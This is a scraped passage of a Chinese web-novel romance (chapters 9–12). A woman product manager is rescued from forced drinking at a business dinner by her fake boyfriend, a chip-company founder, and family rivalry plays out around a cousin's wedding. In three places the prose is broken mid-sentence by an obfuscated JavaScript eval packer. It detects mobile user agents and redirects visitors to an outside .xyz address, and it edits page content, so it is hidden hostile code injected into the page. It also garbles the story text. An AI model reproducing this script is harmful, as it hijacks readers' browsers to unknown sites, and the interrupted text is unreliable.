再就是,某天她在食堂排队,身后的翁惠戳了戳她,说原来你就是林姰。莫名其妙,却又真的漂亮,让人过目不忘。 好奇心驱使,林姰点开那条视频。 照片是偷拍,林姰还是一眼看出,背景是她熟悉得不能更熟悉的网红餐厅。 前几天她还和裴清让说,剑桥旁边的柠檬sorbet,是好吃到想要坐飞机吃一次的程度。 而偷拍的男女主角,仿佛是小说照进现实。 身形窈窕的女孩子仰头和右手边的男人说话,男人微微垂眸,嘴角有浅淡笑意,只是一个侧脸,眉骨高而眼窝微微凹陷,鼻梁到下颌的线条优越如同教科书。 下一张照片则是翁惠坐在窗边单手托腮,眼睛看着刚才说话的男人。他正在排队,衬衫西裤,宽肩窄腰,单一个背影都足够吸引人。 【这个体型差我嗑拉了!】 【这男的谁?翁姐公司的男艺人吗?炒CP是不是要马上出道?】 【建议楼上去看看眼科,这是苍梧裴清让,当年清华打竞赛的佬,现在搞芯片。】 【这俩认识?】 【高中都在附中读的,翁姐和裴清让表白过。】 【脑补一出双向暗恋久别重逢大戏……】 【这家剑桥门口的网红甜品店,超级难排队的!裴总为她排队排那么长时间一定是真爱了!】 【原来这姐背靠苍梧啊,那资源那么好就不奇怪了……】 林姰蹙眉。 她不在乎他的感情史,也不在乎他跟什么女明星传绯闻。 只是前几天跟他提起的甜品店,他这就被拍到和女孩子去吃,心里总归有些微妙的不舒服。 没有必要质问,只是觉得有必要和裴清让说清楚。 不管她这个女朋友是真是假,她都不当道德败坏的那一个,这是原则问题。 林姰点开和裴清让的微信对话框:【如果遇到喜欢的人,请一定告知我,我们就不要继续了。】 - 不管升职结果如何,林姰都要兢兢业业去赚那点窝囊费。 银行卡余额是她的动力——再奋斗个两年,她的钱就够买下外婆的老房子了。 听房产中介说,本来那块房价没有那么贵,房子几经转手价格都在二百万左右,问题就出在最后一个买家、也就是现在的的房主这里。 这位哥不知道是哪根筋搭错了,执意要买下这个房子,本来前一任房主是不想卖的,一听他可以加价一百万,连夜就给人打扫干净搬走了。 买下来又不住,还要花钱请人维护,这是买了个房子还是请了个祖宗?不是人傻钱多的暴发户,干不出这事儿。 好不容易熬到下班时间。 “晚上和苍梧科技的饭局,林姰你和陈万豪一起来。”方茂森下达新官上任的第一条指令。 “我还有事,就不去了。” 林姰面无表情的时候脸很臭,一身反骨的模样,这种攻击性很强的漂亮配上她带刺的性格其实很吃亏,一看就属于那种不听话不讨喜的下属,你看着她,就知道完全拿捏不了。 方茂森面上笑呵呵的,眼神却冷得吓人:“你没结婚没孩子能有什么事儿,还是说,你对我有意见?” 副总马鸣和大老板辛城一起从电梯下来:“走吧,我们请人家,不能晚到。” 方茂森的老婆在投行工作,跟苍梧高管李明启的老婆是同事,几经辗转,促成这次饭局。 林姰最讨厌应酬,敬酒、喝酒、不喝就是不给面子,女生被当成菜端到桌子上。 包厢门推开的时候,辛城起身迎接。 “李总,好久不见。” “辛总,幸会。” 苍梧这边,李明启带了研发总监,说第一句话的时候林姰就听出来了——那天她拿错电话,就是这个人问裴清让是不是见到了白月光。 那么这个白月光,是翁惠? 林姰按亮手机屏幕,发出去的信息没有回音。 “林小姐,杯子里的酒怎么一晚上没有动过?” 说话的人是苍梧的研发总监,林姰对高学历的男人没有任何滤镜,只要是个男人,那就是那么回事儿。 她连理由都不找,没有半分圆滑直白道:“我不喝酒。” 方茂森笑眯眯瞥她一眼:“林姰,作为产品经理,你不喝酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14172436|150499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可不行啊,乐游和苍梧合作的诚意,可都在你这一杯酒里了。” 所有人的视线落在林姰身上。 李明启开口打断这些人:“不能喝就不要喝了,女孩子家的。” 辛城瞥了眼林姰,只说了两个字:“能喝。” 林姰握着酒杯的手指关节泛白,周围或幸灾乐祸或饱含欲望的目光,像针一样扎在她的身上。 但凡现在她说个“不”字,这些年的功劳苦劳就会一笔勾销,她以后在乐游都不会好过。 杯沿压上嘴唇的那刻,包厢的门被推开,大老板辛城震惊一瞬,赶紧起身迎接。 什么样的人能有这样的排场。 林姰顺着他的目光看过去,那人挺拔修长的身形笔直投射在瞳孔之中,白衬衫黑色西装裤,每道线条都俊秀凌厉至极。 和女明星同游英国的人,就这样猝不及防出现在面前,目光交汇的刹那,林姰呼吸一凝,而后率先错开视线。 李明启对此完全不知情:“不是明天的航班吗?红着眼睛飞回来的?” “有事,”裴清让简明扼要,跟各位打过招呼,随口问道,“聊到哪儿了?” 辛城赶紧让人加了一把椅子到主位,又接过他手里拎着的西装外套,帮他挂起来。 大老板给他敬酒,他也喝,身上单一件白色衬衫,领口松散开着两颗扣子,凸起的喉结像雪山的尖,身上那种游刃有余又散漫淡然的劲儿,很勾人,是林姰从来没有见过的。 他喝过酒之后,嘴唇变得很红。 陈万豪喝了点酒,胆子也大了起来:“裴总,我们刚才正好说到,乐游和苍梧合作的诚意,都在酒里,我先干为敬!” 裴清让不言不语的时候看起来很不好惹,没有接他的话茬,陈万豪想,男人嘛,哪有不喜欢漂亮女人的。 他笑着看了一眼林姰:“林姰你的酒是不是还没喝呢。” 陈万豪上下打量林姰的穿着,从没见她穿过裙子,上班时衬衫领口的扣子都扣到第一颗,毫无趣味。 “女性产品经理,就应该发挥自己的长处嘛,短裙高跟鞋穿得漂漂亮亮的,把裴总哄高兴了,说不定还能给我们降1个百分点,裴总不知道吧,我们的产品经理林姰和您是高中校友。” 林姰没有说话,她问自己辞职还能否养活自己,答案是肯定的,于是手里的酒杯调转方向,下一秒就要泼到陈万豪的脸上给他醒酒-- “这样吧。” 裴清让喝了酒,人懒散地靠着,被陈万豪的话勾起兴趣一般,那双天生锋利的眼睛也透出几分玩世不恭的痞。 “裙子你穿,不用把我哄高兴,把我这位高中同学哄高兴了,苍梧芯片免费供应,怎么样?” 陈万豪瞬间酒醒一半。 裴清让嘴角勾着,没什么情绪道:“逼不想喝酒的女孩子喝酒,跟性骚扰有区别?” 空气寂静,没有人敢接话茬,就好像一记耳光狠狠甩在脸上。 这人喝过酒,好像变得百无禁忌,所有人都变得圆滑世故,他身上却有种从不会跟人低头的轻狂。 万籁俱寂,落针可闻。 辛城给了陈万豪一记眼刀,想说点什么缓和气氛。 裴清让已经站起身,慢条斯理扣上自己衬衫领口的扣子,取下西装外套,嘴角弯着,却无半分笑意:“辛总,下次谈合作带个脑袋清醒的来。” 李明启心说裴清让今天是不是吃枪药了,杀伤力是不是有点太强悍了。 酒局结束,不过七点半。 林姰没吃多少,想着找个地方再好好吃一顿。 “林小姐怎么回?” 问话的人是苍梧的研发总监,林姰对于异性的示好异常敏感,不管是不是都直接扼杀在摇篮内:“男朋友来接。” 她应酬的时候从不开车,如果喝了酒打车回家更加方便,打开手机软件叫车。 黑色越野车缓缓开到跟前。 当后座的车窗落下,林姰有一瞬间错愕。 他没有回她的信息,在她看来是默认,他们的关系应该已经到此为止才对。 “不是说男朋友接?”裴清让淡淡反问:“还有别的男朋友?” 林姰没有犹豫,手握上门把手,这事儿今天必须说清楚,她的脸上不带半分情绪,想的不过是又要再找一个假结婚对象。 只是没有想到,当她打开车门,后座上映入眼帘的,是她随口提过的一句的柠檬雪糕,加了冰袋,冒着冷气,还在赏味期限之内。 除此之外,还有几样她家的特色甜品,是林姰回国后时常想念的味道。 她抿唇:“所以你被拍到……” “不然呢,私会女明星?” 裴清让靠在车座上,那双清冷的眼睛有种格外慵懒的神色,混血的温柔多情感在他喝酒之后占了上风:“刚好路过剑桥,遇到翁惠打了个招呼。” 林姰想起自己发出的那条短信,意识到自己过分了。 他如果连夜飞回来,恐怕下飞机才看到自己的信息。 她的声音失去气势,被愧疚占据:“其实不用跟我解释,我只是个假女朋友。” 裴清让哼笑道:“不解释,就连假女朋友都没有了。” 这辆车本来是很宽敞的,可为什么对视的瞬间,她觉得空气稀薄。 “晚上没吃多少,要不要尝尝这个?” 林姰真的很饿,可又觉得,如果裴清让是因为自己提了一句去买的,那她欠下好大一个人情。 而他仿佛会读心术:“不用有负担,是裴樱要吃,这份是顺便多买的。” 那就好,林姰在心里记下,妹妹喜欢柠檬口味,她知道一家很好吃的柠檬甜品,下次要买给妹妹。 她的眼尾轻轻一弯:“那我就不客气啦。” 晚饭的确没吃几口,现在已经饿得要命。 包装拆开之后,柠檬酸甜香气扑面而来,吃下第一口,嘴角就已经有了上扬的弧度,绵密的甜沁人心脾,甚至心脏也像是被什么冷不丁触碰了下。 从英国飞中国的航班,她熟悉得不能更熟悉,算一算,他应该是刚下飞机就赶来…… 车内光线昏暗,男人靠在座椅上闭目养神,长而浓密的睫毛低垂,面孔冷白俊秀,松散的衬衫领口,露出平直深刻的锁骨线条。 那块的皮肤白,如果有吻痕,会特别清晰。 他就在这时偏过头睁开眼睛,和心猿意马的她对上视线。 “林姰。”裴清让的声音里倦意浓重。 她“嗯”了一声,声音和心脏一样都变得又轻又软。 月光如流水,笼着男人透着醉意却依旧清澈的双眼:“现在呢,还要不要跟我继续?” 10. 第 10 章 ——要不要和我继续? 这位哥平日里见他,都是衬衫西裤,冷静清明,林姰第一次见他喝了酒的样子,黑色碎发落在额前,嘴唇很红,而那双染了醉意的瞳孔,浸过泉水般、清澈又亮,看人的时候仿佛带着钩子。 空气稀薄,心尖像有小鱼摆尾,林姰“嗯”了声,问他:“你不是不在酒桌上谈合作吗,怎么会来?” “偶尔也有例外。” 那慵懒低沉的嗓音落在耳边,心尖像是被小猫的肉垫挠了一下,发痒却又挠不到。 如果不是他出现,她今天晚上肯定会被灌酒,虽然她的酒量不差,但不代表她愿意被一群男人当下酒菜。 “谢了。”林姰非常郑重地说。 裴清让嘴角若有似无勾了下,人懒散靠在座椅上,微微后仰,质地考究的衬衫也有了凌乱的褶,领口敞开着,脖颈和喉结的线条格外肆意。 “那打个商量。” 他这副衣衫不整的样子,很难让人拒绝,林姰撇开视线:“什么?” “以后不要轻易说结束。” 裴清让好像真的很累,以至于说话语气变得很轻,轻而撩人,那么普通的字眼,都像情话。 更别提密闭的空间里,鼻尖都是他身上独有的清冽气息,沾了酒气更显蛊惑。 空气好像在升温,林姰悄无声息开了下车窗:“行,毕竟再找人合作也挺难的。” 裴清让嘴角一弯,没有再说话。 这时手机震动,林姰接起电话。 崔女士在电话那边问:“方不方便去辅导班接一下你弟?家里来人了我走不开。” 林姰应下:“好,这就去。” 辅导班到家不过几步路,小时候她去学书法离家更远,怎么换成弟弟就格外需要担心。有些事不能细想。 林姰接到弟弟,把他安全送到家,打算直接回自己的出租屋。 家门推开,映入眼帘的是两双陌生鞋子,说笑声近在咫尺。 林姰走进客厅,大伯母和堂姐坐在沙发上,桌上放着红通通的请柬和喜糖。 原来是堂姐要结婚,林姰跟大伯母问好,又对堂姐说了恭喜。 大伯母笑呵呵道:“这是加班刚回来?” 酒局可比加班恶心多了,林姰“嗯”了声,不想多说。 大伯母“啧”了声:“私企这点就很不好,老板说什么是什么,你不听话随时随地可以开掉你。” 林姰的堂姐只比她大几个月,因为老林家重男轻女,大伯母带着不甘心给女儿取名胜南。 她们同年上学同年毕业,每年去爷爷奶奶家两人总被拿来比较,从小升初考试成绩比到高考成绩。 林姰处处压表姐一头,直到她瞒着所有人出国,而表姐听从家里安排读了省内二本。 那年大伯母扬眉吐气:“学习再好不听话有什么用?一个女孩子竟然敢瞒着家里人跑到国外,还有什么事是她不敢的?” 林姰读研那会,堂姐考了上了民政局的公务员,大伯母更是鼻孔朝天,重男轻女的爷爷奶奶也开始以这个大孙女为荣。 也就是这个瞬间,林姰蓦地想到裴清让,他身上从来都没有惹人讨厌的优越感,甚至大多数时候有种听之任之的随和,所以跟他相处很舒服。 现在她已经很累,不想继续社交,本来要走,却被妈妈一个眼神制止,只好坐到妈妈身边当一个不高兴的花瓶。 “好在是钱多,一年四十万,年纪轻轻的加班就加班吧,”妈妈笑道,“胜南本科毕业三年拿的还是最低档工资吧,一年有十万?” 伯母脸色微变,不紧不慢道:“好在她的对象是公务员,公公婆婆也是,多少能帮衬些。” 崔女士问:“男孩在什么单位工作?” “管委会,”堂姐压不住嘴角的笑,“前阵苍梧科技总部落户晏城,市里给了几十个亿,就是他们管委会出席的。” “林姰,不要眼光太高,到三十岁就不是你挑别人,是别人挑你了,”大伯母转过头来,一副苦口婆心的样子,“要不让你姐夫给你介绍个公务员男朋友?体制内旱涝保丰收,起码稳定。” 崔女士喝了口茶,淡淡道:“不用,她有男朋友了。” 大伯母肉眼可见的紧张,偏还要装作不在乎:“做什么的?” 崔女士:“在芯片公司上班。” 一听不是体制内,大伯母又放松了:“私企钱多但是不稳定,说裁员就裁员。” 崔女士笑了笑:“那男孩本科是清华的,就算被裁员找工作也是人家争着抢着要的。” 好在妈妈在体制内,不知道裴清让这个名字在芯片行业代表什么,肯定也没有上网搜索过…… 不然现在会说:不是他被开除,是他开除别人。 堂姐接过话茬:“清华又怎样呢,苍梧科技的老总就是清华的,高学历高智商长得还特别帅,还不是被人拍到和女明星同游英国……” “这种各方面都是顶配的男人,完全是小说里的霸总配置,现实生活中一定不会收心结婚,等玩得差不多了就找个对他事业有帮助的,婚后肯定还是各玩各的。” 堂姐一副为她着想的样子:“你一定要对高学历高收入的男人祛魅,越有钱的男人玩得越花,我在民政局上班,见得太多了。” 林姰微微一笑:“你怎么知道是他玩我,还是我玩他呢?” 堂姐脸上的笑意瞬间就有些挂不住。 “时间不早了,请柬送到,我们也该回家了,你是不知道准备结婚多麻烦呢,彩礼家里都堆满了……” 大伯母拉起堂姐,对林姰说:“过几天姐姐的婚礼,一定要带男朋友来。” - 翌日,林姰照常上班。 公司大楼好像自带结界,什么人进去都会变得死气沉沉。 整个白天她都在和研发掰头,整理好的需求拿给研发,研发总找各种理由推辞实现不了。 好不容易快下班时间,她口干舌燥都没来得及喝口水,方茂森又在工作群里艾特了所有人:【十分钟后我们拉个会对齐一下颗粒度。】 得,又来一个不会说人话的,这句话翻译过来就是:我们开个会同步一下信息。 会议最后,方茂森对钟凛和陈万豪说:“你俩梳理一下各自手里现在的项目、进展情况,形成汇报给我。” 走出会议室,林姰才看到妈妈的微信消息:【胜南结婚的事跟小裴说了?亲戚朋友都在,正好把小裴介绍给大家,不然你大伯母还以为是你编的假男朋友。】 那大伯母还真以为对了。 妈妈和大伯母斗了大半辈子,林姰自己都不想参加堂姐的婚礼,这种鸡毛蒜皮的事情,更不想把无辜的裴清让牵扯进来。 她几次点开裴清让的对话框,几次又删除,不知如何开口,莫名烦躁。 下班时夕阳漫天,林姰戴上耳机准备散个步再回家。 等回过神,那栋无数次出现在她梦里的老房子,已经近在咫尺。 隔着铁门,好像还能看见外婆坐在无花果树下,时不时往门口的方向张望,等她的宝贝阿姰从学校跑回家。 “林小姐,你又来了啊。” 林姰回神,院子里没有无花果树,也没有等她回家的外婆,空荡荡的院子被打扫得很干净,却不见半分住人的迹象。 她想不明白,明明没有什么投资价值的老房子,怎么会有人高价买下来,买下来却又不在这里住。 物业要保护业主隐私不能随便告知,所以她会时不时来碰碰运气,惹得新搬来的邻居都认识她了。 邻居这次又提供新的情报信息:“一直有保洁来打扫通风,不过前几天下暴雨漏水,来过一个穿黑西装的高个子男人。” 林姰感激道:“谢谢您帮我留意。” 天色已经暗下来,她沿着当初上学的路,走出巷子口。 拐角传来汽车引擎的声音,林姰靠边站定,垂着眼睛想到底怎么和裴清让开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她蹙眉:“说好我请客的。” 裴清让只随口回应“下次”。 月亮悬在天边,春末夏初,隐隐有蝉鸣。 “堂姐婚礼的时候,亲戚朋友都在,我们要不要串一下口供?比如我们怎么在一起的?我怕有人会问。” 裴清让听之任之:“你说了算。” 既然要编理由,那就要好好编,可不能随随便便被人发现漏洞,林姰陷入沉思。 权衡利弊?条件合适?这是相亲的现实套路。 一见钟情?见色起意?这是祝余的小说套路。 她没有喜欢过什么人,所以根本不知道两个人会因为什么在一起。 现在需要一点浪漫细胞的时候,林姰体会到祝余卡文的痛:“怎么才能编一个浪漫纯情又靠谱的答案呢?” 裴清让轻嗤:“你要求一点不高。” 林姰仰起脸,那双倔强冷清的眼睛里,难得有种恳求的意味:“帮忙想个理由嘛,解释一下我们为什么会在一起。” 裴清让居高临下睨着她:“之前不是编得很好吗?” 带着松弛笑意的嗓音落在耳边,有些轻、有些软,让她的耳朵尖如同被羽毛扫过,有些痒。 林姰想起自己跟妈妈虚构男朋友的时候,什么高中同学、什么同学聚会久别重逢、什么他被自己迷晕了总部都迁来…… 现在代入裴清让,真是太厚脸皮了太敢想了。 “那不是被逼的吗?”林姰齿尖咬着下嘴唇,“给点灵感啊你。” 裴清让双手抄兜,微微俯身看着她,那双眼睛带笑的时候风流气很重,目光在她眉眼间流转。 他开玩笑似的,有点痞气又带点温柔,薄唇开合一字一顿说道:“比如,我暗恋你很多年?” 11. 第 11 章 ——比如,我暗恋你很多年? 有那么一个瞬间,林姰怀疑自己穿进了祝余的先婚后爱小说,什么男主暗恋女主很多年,以假结婚为名,徐徐图之。 然而现实不是小说,更何况同学聚会上的真心话大冒险,裴清让明确说过在场没有他喜欢过的人,他们一个被催婚,一个是不婚主义,走到今天这一步,完全是阴差阳错。 林姰还是跟裴清让谦让了一下:“是不是我暗恋你更合理一些?” 裴清让撩起眼皮,有些好笑道:“那你说说看,你为什么暗恋我?” 因为你长得好看? 林姰完全理解不了暗恋这回事,喜欢就要得到,不表白怎么知道行不行? 行就行不行就下一个,为什么要浪费自己的时间精力去喜欢另外一个人? 有那个时间,多读点书多赚点钱不好吗? 她皱着眉心想了半天,一如高中时遇到难解的题。 不得不承认自己喜欢那张好看的脸,甚至有时候被美貌冲击到头脑不清,在看到他不经意露出的脖颈、喉结、手臂青筋时思想不那么纯洁。 在看到他不经意露出的小痣时,想过他身上其他位置是不是也有,在看到他不经意露出的锁骨时,觉得那里皮肤白有吻痕会很清晰。 说起来有点渣,那只是一种不介意亲密接触的见色起意,远远到不了心动的地步。 裴清让散漫带着点无奈,低头看着她说:“撒谎都不会,到时候遇到刁钻的问题,推给我就行。” 林姰甘拜下风,完全是谈合作寻找最优解的态度:“那你暗恋我吧。” 裴清让无声勾了勾嘴角:“好。” 林姰想了想,哭笑不得:“这也太扯了。” 裴清让垂眼,眼睫漆黑:“为什么很扯?” “你怎么可能暗恋我呢?” “为什么不可能。” 林姰心道你是对你自己一点数都没有,都说“普信男”,裴清让真是跟这个词完全不沾边,他身上的干净或许是因为谦卑的底色。 月光笼着他修长利落的身形,没见过谁比他更适合西装,个子高肩背又直,看起来特别挺拔,长得太有攻击性了,骨相端正,瞳孔漆黑透着一点蓝灰,五官刀刻一样锋利,站在那里气场凛冽极其英俊。 林姰没有回答他为什么不可能暗恋自己、这种显而易见的问题。 她不知道自卑怎么写,也从来不会看轻自己,只是发自内心地觉得,暗恋、喜欢这种纯粹热烈的情感,是不会发生在她身上的。 “回头时间地点我发你手机上。” “嗯。” - 林姰到家才看到手里有无数未读短信,来自崔女士。 对话框里显示的最新一条是:【看到立刻回电话!】 林姰直接拨过去,电话响了一声就被妈妈接起来,应该是一直在等她。 “妈,有什么事吗?” “你跟我说说,小裴在公司里是什么职位?” 崔女士语气严肃,林姰莫名有种不太好的预感:“为什么突然这么问?” “你看你姐在咱家群里发的视频,那里面的男人是不是小裴?” 林姰保持电话接通,点开微信家族群。 堂姐在群里发了条链接:【苍梧科技创始人裴清让和女星同游英国举止亲昵疑似热恋中】,照片里的男人高大英俊单一个侧脸就能看出是个顶级骨相的帅哥。 堂姐还在下面说:【科技行业也是很乱的呀,高学历高收入的男人也不过如此。】 堂姐夫立刻出来回复:【我向组织保证,会一直对老婆好的!】 下面七大姑八大姨捧场:【公务员素质就是高!不愧是国家检验过的对象!】 给谁看的,不言而喻,林姰都被气笑了。 林胜男也太把她当回事了,为什么一定要在她身上找优越感呢? “是不是小裴,说话。” “是。” 毕竟长成他这样的不多。 那个高鼻梁长睫毛。 那个宽肩窄腰大长腿。 “他是苍梧科技的创始人?” 眼看着瞒不过去了,林姰索性承认:“是。” “那他这是怎么回事?” “翁惠跟我是一个高中的,高中同学见面打个招呼不是很正常,营销号乱写博人眼球罢了。” “那他为什么不澄清?” “根本不是事实,为什么要自证?某种程度上说,他也是受害者吧。” “你堂姐把新闻链接都发到咱家群里了,他不澄清不就是默认?到时候亲戚朋友怎么想你?” “爱怎么想怎么想呗,在乎那么多累不累。” 电话那边沉默了会,崔女士的语气已经不像刚才激动。 “林姰,咱家的情况呢,比上不足比下有余,但再差也是个公务员家庭,你找对象找高学历高收入的没问题,但是这个小裴跟咱完全不是一个阶层的人吧?” “整个老林家、几十口人的工资加起来,都没他个税缴的零头多吧?人家什么样的女孩接触不到?你有没有想过他找你是图什么?” 这番话,倒是像一个爱女儿的妈妈了。 图什么,图她真的不喜欢他啊,这不就省了很多麻烦。 林姰没什么情绪地反问:“您的意思是让我跟他断了?断了之后呢?我可以不相亲不结婚一个人过一辈子吗?” 崔女士立刻制止:“婚还是要结的,哪有人不结婚呢?那不是让人笑话?” 林姰无声笑了。 有时候不得不承认,父母是爱你的,但是也没有那么爱。 行啊,断就断呗,有什么所谓。 她又不是真的喜欢裴清让,假结婚对象,换成张三李四王五都是一样。 只是这个瞬间,蓦地想到那份漂洋过海的柠檬甜品,和男人疲惫到极致时散漫也温柔的声音:“打个商量,以后不要轻易说结束。” 明明他才是那个权势地位凌驾于众人之上的人,在她这里,就变成随时可以被放弃的那一个。 但现在这个局面带他参加婚礼的话,很难不被认出,难道要让他一个人一个人解释吗?他那么骄傲的人。 “可能是我逼你逼得太紧了,”崔女士难得良心发现,最后轻叹口气:“你和小裴还是趁早断了吧。” 林姰透不过气,起身把客厅的灯按开,视野骤然明亮后,又去阳台打开窗户。 她租的房子的隔音不怎么好,住的又是二楼,楼下住户说话的内容有时候能听个八九不离十。 所以在她开窗这一刻,车门带上的响声无比清晰,紧接着是引擎发动。 意识到什么,她循着声音看过去——送自己回家的黑色越野,直到这会才发动。 就好像一直在等,等自己开灯,确认自己安全到家才离开。 而他一直在等的这个人,遇到一点麻烦下意识的反应,是放弃他。 目光跟随那抹亮光,林姰心脏莫名酸软。 那句“断就断呗”原本已经到嘴边,在这个瞬间变成一意孤行的:“我不要。” 崔女士语气严肃:“那你想怎样?” 林姰满不在乎:“起码裴清让长得好看啊,等什么时候我腻了他再说吧。” 他就只是长得好看吗? 那张脸在谁身上都是绝杀,在他身上好像就只是最微不足道的优点。 “长得好看不能当饭吃!” “可不好看我会吃不下饭。” 黑色越野车消失在街道拐角,林姰挂断电话。 苍梧科技十七楼,电梯门打开,裴清让指尖勾着车钥匙走出来。 李明启已经等在他的办公室,大喇喇坐着没当自己是外人:“最开始发视频的几个营销号,都是翁惠公司旗下的,法务部门已经跟她们那边取得联系,要杀要剐全凭您心情。” 他对裴清让这个招桃花体质感到很无奈,又不是娱乐圈的人,怎么会有这种热度,都已经不是一次两次了。 现在大家背地里都说,要是哪天资金周转紧张,就把裴清让送去出道,都不用包装立人设,那脸那气质那气势放到娱乐圈都是降维打击,养活一个公司不成问题。 之前生产手机芯片的时候,市场部也想过让裴清让去代言,有热度不说还能给公司省下代言费,被裴清让温和地嘱咐:“滚出去。” “你怎么想,这次还是冷处理?你有热度,苍梧的芯片就有热度,公司的宣传费用都省了。” “我会自己找个机会澄清。” “你不是说人不需要自证吗?” 李明启震惊,这完全不是裴清让的行事风格,而且他一个搞芯片的又不需要什么女友粉、老婆粉,有那么点花边新闻也很无所谓,又不影响财务报表和股票价格。 裴清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14172438|150499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让淡声:“不想惹人不高兴。” 虽然那个人毫不在乎。 那天他一下飞机就看到她的信息,说“我们不要继续”。 李明启想了想读书时那些因为裴清让哭过的女孩子:“报应啊,报应。” 庆功宴都不参加也要飞回去参加的同学聚会,红着眼睛从英国飞回来也要参加的酒局应酬,甚至自己一直以来的原则都作废…… 李明启笑得不怀好意:“裴清让啊裴清让,没想到你也有栽的时候啊。” - 三天后,这一年的世界汽车大会在晏城举办。 车企、芯片公司、算法公司纷纷参会,展示最新科技成果,半壁江山都是清华系,苍梧科技也在其中。 前期刚发布的车规级芯片「图南一号」上市供货,彻底终结座舱芯片被进口芯片垄断的局面,对整个行业影响深远,成为本次大会最受瞩目的产品。 裴清让代表苍梧科技发言,他看起来和其他人完全不是一个画风,甚至不像是一代人,他一上台全场噤声,好像一下把汽车大会现场变成秀场。 男人眉眼漆黑而面孔冷白,一身高定西装贵气逼人,那气势太凛冽,奢侈品男模拼命凹出来的高冷在他身上与生俱来,宽肩长腿和逆天的比例,让人一时不知道该看哪——是看他的脸还是他的腿,手也是惊人的漂亮。 在别的公司的老总不遗余力宣传产品、对奋斗史侃侃而谈时,他仍惜字如金,简要介绍「图南一号」在算力和性能上的突破、以及量产供货状况,声音好听死了。 林姰所在的乐游科技也参加了这次大会。 她坐在台下,人还没从美貌中回过神,裴清让就已经结束发言。 之后的记者提问环节,他更是游刃有余锋芒毕露,完全就是意气风发的具象化。 赵然在她耳边低语:“我不敢想象和他亲嘴有多快乐!” 林姰的目光不自觉落在他薄而清晰的嘴唇上,老脸一红。 “裴总,等用上「图南一号」的汽车量产的时候,有没有想过请翁惠来代言呢?” 他和翁惠的绯闻近期传得沸沸扬扬,翁惠自带热度,也许还有幕后推手推波助澜炒热度,再加上裴清让那堪称“小说男主照进现实”的顶级配置,热度很难下降——甚至都蔓延到老林家的微信群了。 但林姰仍觉得,在汽车大会上影射私人问题非常冒犯,裴清让肯定不会回答。 男人俊脸覆着霜雪,往那一站就是个冰山帅哥,却破天荒回应了:“没有。” 记者蹬鼻子上脸:“是翁惠在您眼里不够好吗?” 裴清让抬眸,眼睫漆黑,目光淡漠锐利:“在翁惠的影迷心里她是最好的,正如在我这个凡夫俗子眼里,我女朋友是最好的。” 林姰呼吸一凝。 不知道是不是她的错觉,说到“女朋友”三个字的时候,那冰冷的嗓音好像不自觉变得轻而柔和。 同事赵然抓住林姰的手臂:“他女朋友谁啊?不敢想象如果每天在这样的男人怀里醒来,我会是个多开朗的小女孩!” 裴清让那张脸太过招摇、太犯桃花,林姰也曾无意刷到过他的绯闻,但他从不澄清。 媒体对此评价:裴清让这个人轻狂至极,因为足够强大,所以从不自证。 这个问题他本来可以不回答,说与今天的发布会主题不符合,也可以“和产品定位不符”这样官方的理由,敷衍掉。 他却直接接过这个问题,回答了他从不回答的隐私问题,主动提及“女朋友”三个字,无异于自己把自己撕了一道口子给媒体,告诉他们:你们可以尽情窥探我的隐私。 他这样做是为什么…… 林姰的胸腔有沉重的撞击感,眼睛一眨不眨盯着台上发言的人。 这些年裴清让的采访中规中矩言简意赅,眼下,记者们为了写出博人眼球的新闻,问题开始一个接一个—— “裴总和女朋友是怎么认识的呢?” “高中同学。” “记得上次采访您,您还是单身。” “刚在一起。” “为什么高中同学现在才在一起呢?是顶峰相见还是暗恋成真?” 裴清让无声看向台下,人潮汹涌,视线无声交汇。 那一眼牢牢攥住了她的呼吸,让落在耳边的每个字音都清晰—— “十七岁错过的人,二十七岁,不想再错过了。” 12.第 12 章 【修文了,前面不需重看,第10、11、12章都是新章节】 很简单的微创手术,都没有伤筋动骨,很快就可以出院。 只不过取出来的息肉要做病理检验,结果要等三天,这才是最难熬的。 手术之后吃东西只能吃流食,林姰吃完裴清让打包的粥,准备睡一会儿。 裴清让离开前,事无巨细地交代注意事项,叮嘱她“有事打我电话”,除了私人电话、办公电话都给她留了一个,像是生怕她需要人的时候找不到,下楼的时候还顺手带走了她想扔还没扔的垃圾。 从没见过惜字如金的这个人说这么多话,好好一个冰山帅哥,怎么也会像个啰里啰嗦的老父亲,然后很快,他请的临时照顾她的阿姨到岗。 阿姨话不多,很勤快,做饭也很好吃,几乎是把她当女儿照顾。 这未免有点太夸张,裴清让却说,是懒得再去找一个结婚对象。 心脏温热,人情欠下不知几笔。 当她躺在床上,毫无睡意,闭上眼睛就好像回到出门前的那一刻。 濒临崩溃的她推开门,看到站在门口的裴清让。 三天,72个小时,4320分钟,林姰是一秒一秒度过的。 三天后的清早,她扣上鸭舌帽,又取下挂在玄关的帆布包,深吸口气。 就在手握上门把手的那一刻,竟然有不应该有的期待——她打开门的瞬间,会不会看到高个子西装帅哥,已经等在门口。 推开门的瞬间风拂过脸颊,家门口空无一人。 